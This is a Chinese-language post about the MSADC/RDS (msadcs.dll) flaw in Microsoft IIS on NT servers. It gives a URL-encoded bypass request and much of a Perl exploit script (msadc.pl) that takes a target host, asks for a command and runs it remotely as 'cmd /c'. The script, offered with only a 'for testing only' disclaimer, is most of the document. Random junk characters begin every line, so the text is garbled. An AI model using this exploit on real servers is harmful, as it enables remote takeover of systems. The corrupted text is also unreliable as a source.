IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
+DKrX <.3@-z>w2, 涉及程序:
0:G@a&Lr Microsoft NT server
T4
SByX9 tYfhKJzGC 描述:
'$)Wp_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
=nnS X-x ~4}m'#! 详细:
)<.S3 如果你没有时间读详细内容的话,就删除:
T
GMHo{] c:\Program Files\Common Files\System\Msadc\msadcs.dll
9BANCW" 有关的安全问题就没有了。
0jv9N6IM 5*buRYck0 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
f.jAJ; N> z!Kadqns 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
~s^&*KaA 关于利用ODBC远程漏洞的描述,请参看:
"4"\tM( %8o(x 0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qe(X5?#; Op3 IL/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
l%Sz6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp q){]fp.,@ N5/TV%u 这里不再论述。
>K\ 79<x| d;#9xD' 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
8gC(N3/E" Q X@&~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2L<TqC{,- 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
+G/~v`Bv <i`EP/x =As'vt
0 #将下面这段保存为txt文件,然后: "perl -x 文件名"
56<LMY|d HTqik w5X #!perl
r~s03g0 #
3C,e>zE} # MSADC/RDS 'usage' (aka exploit) script
_ux6SIyp` #
i0AC.]4e" # by rain.forest.puppy
Zt!l3(*tt #
q }z,C{Wq< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
T)C # beta test and find errors!
mOX I"q]p !d(!1fC use Socket; use Getopt::Std;
t1Jz?Ix6% getopts("e:vd:h:XR", \%args);
It_yh
#s >a4Bfnf"eI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
jB1\L<P B!tte) if (!defined $args{h} && !defined $args{R}) {
A`N;vq, print qq~
[\.>BK Usage: msadc.pl -h <host> { -d <delay> -X -v }
H>7!+&M -h <host> = host you want to scan (ip or domain)
8dZH&G@; -d <seconds> = delay between calls, default 1 second
b6/:reH{ -X = dump Index Server path table, if available
rLKDeB -v = verbose
e1/|PgT(KM -e = external dictionary file for step 5
d?{2A84S >y8Z{ALQ5 Or a -R will resume a command session
T8m%_U#b \U-5&,fP ~; exit;}
|y=gp eqf~5/Z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ud#8`/!mq if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<%Rr-, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(CV=0{] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
v*^2[pf $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
G7=8*@q>: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hWW<]qzA, CKR9APkv if (!defined $args{R}){ $ret = &has_msadc;
$?GO|.59 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
z"vgwOP su ^}[
N4 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
He*L"VpWv . "cmd /c ";
$ta#]>{ $in=<STDIN>; chomp $in;
:OZhEBL&b $command="cmd /c " . $in ;
UCWU|r<s, bbM
!<&F if (defined $args{R}) {&load; exit;}
e/3hb)#; ?d0Dfqh_ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
VA%i_P, &try_btcustmr;
S\rfR N "O
'I print "\nStep 2: Trying to make our own DSN...";
Smux&e &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)K6{_~Kc\ #e=^[E-yE print "\nStep 3: Trying known DSNs...";
}<S2W\,G &known_dsn;
CYu8J@(\~g H}~^,B2; print "\nStep 4: Trying known .mdbs...";
*Wa u7 &known_mdb;
K!~](_W! Y|~>(
if (defined $args{e}){
[<;2 C print "\nStep 5: Trying dictionary of DSN names...";
OR9){qP &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
fpi6pcof "F}Ip&]hAG print "Sorry Charley...maybe next time?\n";
~k(Ez pn# exit;
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